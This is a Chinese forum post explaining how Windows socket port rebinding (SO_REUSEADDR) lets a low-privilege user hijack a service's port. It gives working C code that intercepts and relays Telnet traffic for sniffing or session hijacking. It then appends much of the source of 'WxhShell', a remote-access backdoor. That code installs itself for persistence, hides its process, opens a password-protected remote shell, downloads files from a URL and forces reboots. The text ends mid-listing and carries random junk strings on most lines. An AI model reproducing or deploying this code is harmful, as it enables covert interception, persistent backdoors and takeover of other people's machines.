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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (A"oMnjWd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bx`(d@  
XjL( V1  
  saddr.sin_family = AF_INET; %#|S  
g[!sGa &  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'O2{0  
LgB}!OLQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); drF"kTD"7  
D|UDLaz~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g"<kj"  
_3ZZ-=J:=*  
  这意味着什么?意味着可以进行如下的攻击: hZ$* sf  
MQp1j:CK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vChkSY([  
aiUn bP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) VSM%<-iQ  
ijC;"j/(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4}96|2L5  
{:fyz#>>^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e@@kTny(  
sE]eIN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gM_Z/$  
vR#A7y @ !  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )WuuU [(  
h]G }E9\l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -08Ys c  
W~R_- ]k@g  
  #include DR^mT$  
  #include rHN>fySn7  
  #include 0vDP- qJV-  
  #include    P0UMMn\-#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mN*9X[ >x  
  int main() u{exQ[,E  
  { {.eC"  
  WORD wVersionRequested; :9]23'Md  
  DWORD ret; (#7pGGp*E  
  WSADATA wsaData; z_r W1?|  
  BOOL val; =yfr{5}R  
  SOCKADDR_IN saddr; 'U5 E{  
  SOCKADDR_IN scaddr; EGU? 54  
  int err; S\GG(#b!  
  SOCKET s; TY~0UU$  
  SOCKET sc; QMHeU>  
  int caddsize; o y}(  
  HANDLE mt; Vs\ )w>JF  
  DWORD tid;   r'w5i1C+  
  wVersionRequested = MAKEWORD( 2, 2 ); $;"@;Lj%,  
  err = WSAStartup( wVersionRequested, &wsaData ); kRZ(  
  if ( err != 0 ) { U#@:"v|  
  printf("error!WSAStartup failed!\n"); H~@aT7  
  return -1; eGtIVY/D  
  } $Iv*?S"2  
  saddr.sin_family = AF_INET; @q[-,EA9  
   X!nI{PE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }MuXN<DDb  
>PL/>   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _/ P"ulNb  
  saddr.sin_port = htons(23); u&r @@p.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) es&+5  
  { I\`:(V  
  printf("error!socket failed!\n"); eHd{'J<  
  return -1; >p2v"XX  
  } UyTq(7uo  
  val = TRUE; k:`^KtBMl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <f8@Qij  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3J%jD  
  { Qt]nlui~  
  printf("error!setsockopt failed!\n"); &!KJrQ  
  return -1; 8I NVn'G  
  } H*;J9{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z*jhSy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7A3e-51 >  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~O |j*T  
gd#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {l\v J#r:  
  { FSc7 30rM  
  ret=GetLastError(); ^ chlAQz(  
  printf("error!bind failed!\n"); $5%tGFh  
  return -1; Y2<Z"D`  
  } hFylQfd  
  listen(s,2); ww+XE2,  
  while(1) d=N5cCqq  
  { nLdI>c9R  
  caddsize = sizeof(scaddr); =xai 7iM  
  //接受连接请求 - uliND  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h, +2Mc<  
  if(sc!=INVALID_SOCKET) G4=%<+  
  { ^Q2K0'm5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dy|r:~j3  
  if(mt==NULL) )k0bP1oGS  
  { $o {f)'.>n  
  printf("Thread Creat Failed!\n"); AO>K 6{  
  break; dKZffDTZ  
  } |p.mA-81  
  } B@.U\.  
  CloseHandle(mt); &$< S1  
  } DV{Qbe#In  
  closesocket(s); 9.SPxd~  
  WSACleanup(); N@;6/[8  
  return 0; e,:@c3I  
  }   7&|fD{:4U  
  DWORD WINAPI ClientThread(LPVOID lpParam) dwB-WF%k  
  { ,f} s!>j  
  SOCKET ss = (SOCKET)lpParam; CQ#p2  
  SOCKET sc; G)'cd D1  
  unsigned char buf[4096]; b`18y cVME  
  SOCKADDR_IN saddr; UAUo)VVi"  
  long num; CO 5?UgA  
  DWORD val; rw8db'  
  DWORD ret; _oe2 pL&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 GJ{]}fl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {9_CH<$W%U  
  saddr.sin_family = AF_INET; IjJ3CJ<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !mq+Oz~  
  saddr.sin_port = htons(23); z4_>6sf{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )jCAfdnCs  
  { H }</a%y  
  printf("error!socket failed!\n"); 9dSKlB5J  
  return -1; j YO #  
  } M0"xDvQ  
  val = 100; ?ry`+nx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m|=/|Hm  
  { >(~; V;  
  ret = GetLastError(); C!~&c7  
  return -1; )6IO)P/Q~  
  } H.!M_aJH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $+:_>n^#/  
  { ^EM##Ss_  
  ret = GetLastError(); /,GDG=ra  
  return -1; F4Z+)'oDr,  
  } ix*n<lCoC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vY }/CBmg  
  { }|AUV  
  printf("error!socket connect failed!\n"); oy#Qj3M8=  
  closesocket(sc); om;jXf}A  
  closesocket(ss); BEifUgCh  
  return -1; |;Jcf3e(  
  } y$K!g&lGA  
  while(1) u= !?<Q  
  { K`PF|=z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |BF4 F5wC?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 trtI^^/%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !);'Bk9o  
  num = recv(ss,buf,4096,0); qZCA16  
  if(num>0) y`7BR?l  
  send(sc,buf,num,0); ZU7,=B=  
  else if(num==0) "P"~/<:)  
  break; |4ONGU*`E  
  num = recv(sc,buf,4096,0); J=| fxR  
  if(num>0) gtVI>D'(W  
  send(ss,buf,num,0); D~U 4K-  
  else if(num==0) *siS4RX2  
  break; zD7\Gv  
  } qZG "{8  
  closesocket(ss); yG2j!D  
  closesocket(sc); 50Pz+:  
  return 0 ; $IUT5Gia`  
  } ixE72bX  
3-Xum*)Y  
8;-a_VjA)  
========================================================== W6 f*>  
~X*)gS-=  
下边附上一个代码,,WXhSHELL PIsMx-i0  
]fnc.^{  
========================================================== -[".km  
3a"4Fn  
#include "stdafx.h" ^CDQ75tR  
p\WW~qD  
#include <stdio.h> I+kDx=T !  
#include <string.h> oV&AJ=|\  
#include <windows.h> DnMfHG[<  
#include <winsock2.h> VSL6tQp  
#include <winsvc.h> 'Oyz/P(p  
#include <urlmon.h> ggzg, ~V  
GxuFO5wz  
#pragma comment (lib, "Ws2_32.lib") @M?;~M?B]J  
#pragma comment (lib, "urlmon.lib") =3_I;L w  
p. SEW5  
#define MAX_USER   100 // 最大客户端连接数 hdXdz aNS  
#define BUF_SOCK   200 // sock buffer >RG }u  
#define KEY_BUFF   255 // 输入 buffer V{HP8f91  
;*{y!pgb  
#define REBOOT     0   // 重启 '+hiCX-_  
#define SHUTDOWN   1   // 关机 `$ql>k-6C  
XkDjA#nx`  
#define DEF_PORT   5000 // 监听端口 'j 'bhG  
1 `hj]@.]  
#define REG_LEN     16   // 注册表键长度 rn"'tvhm  
#define SVC_LEN     80   // NT服务名长度 &}_E~jKK  
EC<g7_0F  
// 从dll定义API f R$E*Jd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NuRxkeEO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }te\) Yk.N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "t$c'`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u]lf~EE  
k|(uIU* ]  
// wxhshell配置信息 <5%x3e"7u  
struct WSCFG { sOhQu>gN  
  int ws_port;         // 监听端口 8J-$+ ;  
  char ws_passstr[REG_LEN]; // 口令 ] lE6:^V  
  int ws_autoins;       // 安装标记, 1=yes 0=no ] ?w hx &+  
  char ws_regname[REG_LEN]; // 注册表键名 }1 = V`N(  
  char ws_svcname[REG_LEN]; // 服务名 W3Oj6R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LmE%`qNg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2Z;wU]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]a F,r"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q(=} PF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =~}\g;K1Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d:cs8f4>  
5v >0$Y{  
}; E%@,n9T~"  
M S$^m2  
// default Wxhshell configuration 6c>cq\~E  
struct WSCFG wscfg={DEF_PORT, G;#-CT  
    "xuhuanlingzhe", sOQF_X(.x  
    1, s ~c_9,JK  
    "Wxhshell", \wwY?lOe  
    "Wxhshell", )!M %clm.  
            "WxhShell Service", \Jq$!foYx  
    "Wrsky Windows CmdShell Service", I-<U u 2  
    "Please Input Your Password: ", d~ n|F|`:  
  1, rG)K?B~  
  "http://www.wrsky.com/wxhshell.exe", +ExXhT  
  "Wxhshell.exe" E_k<EQ%r  
    }; GG@GjP<_  
Qa-]IKOs  
// 消息定义模块 {6d)|';%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `L n,qiA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l-4+{6lz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /<ODP6Yy;  
char *msg_ws_ext="\n\rExit."; LE$_qX`L  
char *msg_ws_end="\n\rQuit."; eFJ .)Z  
char *msg_ws_boot="\n\rReboot..."; c4H5[LPF  
char *msg_ws_poff="\n\rShutdown..."; bWU4lPfP  
char *msg_ws_down="\n\rSave to "; vU= +  
I2"F2(>8K  
char *msg_ws_err="\n\rErr!"; 5M6`\LyU  
char *msg_ws_ok="\n\rOK!"; $d\]s]}`  
tgeX~.  
char ExeFile[MAX_PATH]; {-?^j{O0.  
int nUser = 0; a ;@G  
HANDLE handles[MAX_USER]; J" :R,w`  
int OsIsNt; jFAnhbbCE  
Am>^{qh9  
SERVICE_STATUS       serviceStatus; MC=pN(l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _OR@S%$  
l} \q }7\)  
// 函数声明 , gYbi-E  
int Install(void); SbrKNADH%  
int Uninstall(void); l6kqP  
int DownloadFile(char *sURL, SOCKET wsh); qRk<1.  
int Boot(int flag); YS$42J_T  
void HideProc(void); h zv4+1Wd[  
int GetOsVer(void); $"#2hVO  
int Wxhshell(SOCKET wsl); z#DgoA  
void TalkWithClient(void *cs); C|or2  
int CmdShell(SOCKET sock); B}O M:0  
int StartFromService(void); cviPCjM  
int StartWxhshell(LPSTR lpCmdLine); VH*4fcT'D  
acG4u+[ ]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _'OXrT#Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ePD~SO9*  
CGYZEPRR  
// 数据结构和表定义 Wra$  
SERVICE_TABLE_ENTRY DispatchTable[] = IZw>!KYG  
{ 0 rge]w.X  
{wscfg.ws_svcname, NTServiceMain}, YoU|)6Of   
{NULL, NULL} uC2-T5n'  
}; +c+i~5B4  
{`KRr:w  
// 自我安装 J/T$.*X  
int Install(void) n\/ JNzd3  
{ JJE3\  
  char svExeFile[MAX_PATH]; SAQ|1I#"/  
  HKEY key; Ja`xG{~Y7i  
  strcpy(svExeFile,ExeFile); s2 8t'  
=eHoJq  
// 如果是win9x系统,修改注册表设为自启动 JI5%fU%O#n  
if(!OsIsNt) { qG&}lg?g{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;5cN o&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'c6t,%  
  RegCloseKey(key); wr`+xYuuC=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .5s#JL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m,3H]  
  RegCloseKey(key); wR(>' ?  
  return 0; |<2g^ZK)  
    } #uc9eh}CWO  
  } ,SZYZ 25  
} s%Y8;D,~+  
else { &[Zg;r    
Cu\6VnW_6  
// 如果是NT以上系统,安装为系统服务 !:^?GN#~x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e'y$X;nIv  
if (schSCManager!=0) C)z?-f  
{ FdcmA22k*  
  SC_HANDLE schService = CreateService 4DTT/ER'qA  
  ( yV4rS6=  
  schSCManager, f_m~_`m  
  wscfg.ws_svcname, 8N,mp>~  
  wscfg.ws_svcdisp, ~!iZn  
  SERVICE_ALL_ACCESS, b;2[E/JKB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j7>a ^W  
  SERVICE_AUTO_START, RF|r@/S  
  SERVICE_ERROR_NORMAL, UzKB"Q  
  svExeFile, *~%QXNn`  
  NULL, +YFAZv7`  
  NULL, n~mP7X%wE7  
  NULL, zu! #   
  NULL, Sdr,q9+__  
  NULL 8bf~uHAr  
  ); c`agrS:P  
  if (schService!=0) 4R&e5!  
  { |e+r|i]  
  CloseServiceHandle(schService);  JE=3V^k  
  CloseServiceHandle(schSCManager); WMXxP gik  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $MYAYj9r)  
  strcat(svExeFile,wscfg.ws_svcname); % s),4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NxGSs_7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %h9'kJzNk  
  RegCloseKey(key); .*~t2 :  
  return 0; ]q":ta!f  
    } 1>'xmp+#  
  } Nq >"vEq)  
  CloseServiceHandle(schSCManager); mrGfu:r  
} 3T)_(SM"  
} w^=uq3X?  
n qC@dHP  
return 1; qbq.r&F&  
}  8\Uy  
>^bSjE  
// 自我卸载 Zk<Y+!  
int Uninstall(void) XQI!G_\+C  
{ D0*+7n3  
  HKEY key; \}EJtux q  
"Gc\"'^r  
if(!OsIsNt) { ]wHXrB8vx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o! Y61S(  
  RegDeleteValue(key,wscfg.ws_regname); m2>$)\-;  
  RegCloseKey(key); T;1aL4w"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3\Tqs  
  RegDeleteValue(key,wscfg.ws_regname); #VU>Z|$@N  
  RegCloseKey(key); |,lw$k93  
  return 0; 6 vr8rJ-  
  } c-`izn]  
} ()ZP =\L  
} w@i;<LY.  
else { /:+MUw7~  
8umW>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;9)A+bD]  
if (schSCManager!=0) z:W|GDD1  
{  +OeoA{-W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <uXQT$@?  
  if (schService!=0) 9ohO-t$XkY  
  { B]wfDUG  
  if(DeleteService(schService)!=0) { E, ;'n  
  CloseServiceHandle(schService); U`kO<ztk  
  CloseServiceHandle(schSCManager); 2bt).gGm  
  return 0; 7i0;Ss*  
  } (Nn)_caVb  
  CloseServiceHandle(schService); 5z@QAQ  
  } IiZXIG4H  
  CloseServiceHandle(schSCManager); M2piJ'T4u  
} 1( vcM  
} ]~kgsI[E  
XEb+Z7L1  
return 1; >gZ"^iW  
} <I.{meDg  
m?O"LGBB =  
// 从指定url下载文件 2|D<0d#W  
int DownloadFile(char *sURL, SOCKET wsh) Wf>=^ ~`  
{ Q|tzA10E  
  HRESULT hr; (Z#j^}G_l  
char seps[]= "/"; o>MB8[r  
char *token; vg-'MG  
char *file; 3Ss)i7  
char myURL[MAX_PATH]; mExJ--}  
char myFILE[MAX_PATH]; R0bWI`$Z  
17S<6j#H5  
strcpy(myURL,sURL); i?IV"*Ob1N  
  token=strtok(myURL,seps); 6;p"xC-  
  while(token!=NULL) yCZ[z A  
  { x4[ Fn3JL  
    file=token; 9B2`FJ  
  token=strtok(NULL,seps); {IT;g9x  
  } /A>1TPb09"  
wY_! s Qo  
GetCurrentDirectory(MAX_PATH,myFILE); FcmL 4^s.`  
strcat(myFILE, "\\"); <c]?  
strcat(myFILE, file); *%jd>e7d  
  send(wsh,myFILE,strlen(myFILE),0); 'OvyQ/T  
send(wsh,"...",3,0); #r;uM+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V2BsvR`  
  if(hr==S_OK) e<-^  
return 0; k*o>ZpjNH  
else {z*`* O@  
return 1; vlx\hJ<I  
jU_#-<'r  
} &d i=alvv1  
QI{<q<  
// 系统电源模块 S\W&{+3  
int Boot(int flag) apd"p{  
{ `fUP q ;  
  HANDLE hToken; mFJb9 ,  
  TOKEN_PRIVILEGES tkp; nWsR;~pK  
2hF j+Ay  
  if(OsIsNt) { ZY-mUg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q-4#)EnW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y>|AX/n  
    tkp.PrivilegeCount = 1; )ioIn`g^-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iYb{qv_4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (5&l<u"K~  
if(flag==REBOOT) { <7yn:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H'wh0K(  
  return 0; g].v  
} SCKpW#2dP{  
else { 6uubkt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H`Ld,E2ex&  
  return 0; Cswa5 l`af  
} kq=tL@W`0}  
  } E K#ib  
  else { Ll'!aar,  
if(flag==REBOOT) { 2Wq/_:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dxF/]>t  
  return 0; Y~uqKb;A  
} }*3#*y "  
else { <nE|Y@S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B)L;ja  
  return 0; IX y  $  
} i"U<=~  
} :h)A/k_  
%QKRl 5RM-  
return 1; |q*s)8  
} XqK\'8]\Mw  
i=8){G X4  
// win9x进程隐藏模块 8GFA}_(^R  
void HideProc(void) mB]Y;R<  
{ ]6 vqgu  
I6,sN9` K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); txW<r8  
  if ( hKernel != NULL ) 'P5|[du+  
  { _I}rQfPJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gw`}eA$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k7ODQ(*v  
    FreeLibrary(hKernel); Pw_[{LL  
  } /]*#+;;%  
~'2im[f J  
return; \qh -fW; #  
}  %Jc>joU  
KV$J*B Y  
// 获取操作系统版本 +: oD?h  
int GetOsVer(void) ,"!P{c  
{ B[rxV  
  OSVERSIONINFO winfo; =#c?g Wb56  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $k&}{c8P  
  GetVersionEx(&winfo); <r{ )*]#l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bz#K_S  
  return 1; 3e.v'ccK&  
  else 1@Zjv>jy[  
  return 0; v|v^(P,o  
} 32*FISH^  
zu Jl #3YP  
// 客户端句柄模块 %Pb 5PIk4  
int Wxhshell(SOCKET wsl) HLy}ta\  
{ L('G1J}  
  SOCKET wsh; "wPFQXU  
  struct sockaddr_in client; ' 1aU0<  
  DWORD myID; =Xc[EUi<;g  
~4~-^ t  
  while(nUser<MAX_USER) Bjz\L0d  
{ _ .%\czO  
  int nSize=sizeof(client); ]<;m;/ H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @lP<Mq~]  
  if(wsh==INVALID_SOCKET) return 1; fr0iEO_  
)oSUhU26}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M_2[Wypw  
if(handles[nUser]==0) m$xyUv1  
  closesocket(wsh); $3! j1  
else .wD>0Ig  
  nUser++; F` ifHO  
  } Yp`6305f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ogX'3L  
b-{\manH  
  return 0; {37DrSOa  
} TIV1?S  
SrN;S kS  
// 关闭 socket KZL5>E  
void CloseIt(SOCKET wsh) Tv0|e'^  
{ <4y1[/S  
closesocket(wsh); <=V2~ asB  
nUser--; (9BjZ&ej  
ExitThread(0); +0=u]  
} 0*%j6*XDq9  
!UD62yw~  
// 客户端请求句柄 A>$VkGo  
void TalkWithClient(void *cs) ,LXuU8sB  
{ Xu$xO(  
^6+P&MxM  
  SOCKET wsh=(SOCKET)cs; YizJT0$  
  char pwd[SVC_LEN]; RC8{QgaI  
  char cmd[KEY_BUFF]; F]W'spF,  
char chr[1]; >#R<*?*D}  
int i,j; i6r%;ueLb  
uG3t%CmN  
  while (nUser < MAX_USER) { #GK&{)$  
DT(A~U<y  
if(wscfg.ws_passstr) { FpfOxF6A3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9p(s FQ [  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |nXs'TO'O  
  //ZeroMemory(pwd,KEY_BUFF); 6Pl$DSu  
      i=0; ReP7c3D>p  
  while(i<SVC_LEN) { zb~!> QIz{  
#HB]qa  
  // 设置超时 SMgf(N3]  
  fd_set FdRead; Y-n* K'  
  struct timeval TimeOut; UioLu90 P  
  FD_ZERO(&FdRead); A7-QOqST(  
  FD_SET(wsh,&FdRead); Qm,|'y:Tg  
  TimeOut.tv_sec=8; }Fyf?TZ$T  
  TimeOut.tv_usec=0; npz*4\4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TH)gW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uI-te~]  
1I KDp]SN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *gu~7&yoP  
  pwd=chr[0]; eUVE8pZl  
  if(chr[0]==0xd || chr[0]==0xa) {  F[115/  
  pwd=0; &~G>pvZ  
  break; +=Crfvt  
  } ;-@^G 3C:  
  i++; J`uV $l:  
    } {Rjj  
'wLQ9o%=p|  
  // 如果是非法用户,关闭 socket .!,T> :R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z|uUE   
} A"#Gg7]tl'  
.'p_j(uv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [st4FaQ36  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S!2M?}LU  
sk$MJSE ~  
while(1) { QOEcp% 6I}  
?W9$=  
  ZeroMemory(cmd,KEY_BUFF); m /JpYv~  
%gJf&A  
      // 自动支持客户端 telnet标准   %[-D&flKC  
  j=0; :|M0n%-X  
  while(j<KEY_BUFF) { Obrv5 %'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t@>Uc`%  
  cmd[j]=chr[0]; K]oFV   
  if(chr[0]==0xa || chr[0]==0xd) { %w=*4!NWb  
  cmd[j]=0; {b"V7vn,  
  break; N{tNe-5  
  }  4EJ  
  j++; {2}O\A  
    } ^hq`dr|R=  
tVvRT*>Wb  
  // 下载文件 w{UVo1r:  
  if(strstr(cmd,"http://")) { 6OF&Q`*4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); weU'3nNN  
  if(DownloadFile(cmd,wsh)) w [D9Q=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mMS%O]m,|  
  else .v9#|d d+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5yI_uQR  
  } 6UG7lH!M  
  else { Nj5Mc>_   
#pErGz'{  
    switch(cmd[0]) { !<Ma9%uC{  
  .EM0R\q  
  // 帮助 eqb8W5h'  
  case '?': { |`1lCyV\tE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y$Sn3_9 V  
    break; [ma'11?G  
  } Jajo!X*Wai  
  // 安装 2%'{f  
  case 'i': { l<>syHCH;L  
    if(Install()) 0D+[W5TB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CH[U.LJQ-O  
    else PTWP7A[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'c*Q/C;  
    break; =&;orP  
    } LuM:dJ  
  // 卸载 0?8O9i  
  case 'r': { }><Vc ouJ[  
    if(Uninstall()) P$ZIKkf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9fj3q>Un,  
    else  $A]2Iw!&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HQJ_:x Y  
    break; 5ltEnvN  
    } it.Lh'N;T  
  // 显示 wxhshell 所在路径 k&wCa<Rs~R  
  case 'p': { j*+[=X/  
    char svExeFile[MAX_PATH]; |T\`wcP`q  
    strcpy(svExeFile,"\n\r"); D[32 t0  
      strcat(svExeFile,ExeFile); &TJMopVn  
        send(wsh,svExeFile,strlen(svExeFile),0); n}/?nP\%  
    break; meey5}  
    } R?MRRq  
  // 重启 wCw-EGLR  
  case 'b': { v EppkS U1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <qJI]P  
    if(Boot(REBOOT)) nX~Qt%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sA$x2[*O  
    else { nwuH:6~"  
    closesocket(wsh); Z>hS&B  
    ExitThread(0); ;w>Dqem  
    } B=14 hY@`  
    break; t6u>_Sh e  
    } 5:y\ejU  
  // 关机 eajctkzj  
  case 'd': { " kp+1sG8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qLC_p)  
